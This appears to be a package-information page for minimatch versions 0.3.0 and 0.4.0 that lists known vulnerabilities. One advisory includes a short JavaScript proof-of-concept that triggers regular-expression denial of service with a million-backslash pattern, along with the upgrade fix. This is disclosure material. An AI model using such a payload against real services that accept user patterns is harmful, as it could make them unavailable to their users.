Minimatch is a lightweight JavaScript library designed for efficient and flexible glob matching—a crucial technique for selecting files and directories based on patterns. Versions 0.3.0 and 0.4.0 offer similar core functionalities, making it straightforward to identify files using wildcards and character ranges. Both versions share identical dependencies, relying on sigmund for consistent string hashing and lru-cache to optimize pattern matching performance by caching frequently accessed patterns. This shared foundation ensures a stable and predictable experience for developers regardless of which specific version is used.
While functionally similar, the key difference lies in the release dates. Version 0.3.0 was released in May 2014, while 0.4.0 followed in July 2014. This suggests that version 0.4.0 likely includes bug fixes, performance improvements, or minor feature enhancements implemented in the interim. Developers adopting Minimatch should prefer the newer 0.4.0 for the most up-to-date and stable experience. The library's MIT license in both versions grants broad permissions for use in various projects, whether open-source or commercial. Isaac Z. Schlueter, the author, lends credibility through his extensive contributions to the JavaScript ecosystem. This makes Minimatch a reliable choice for developers needing pattern matching capabilities.
All the vulnerabilities related to the version 0.4.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.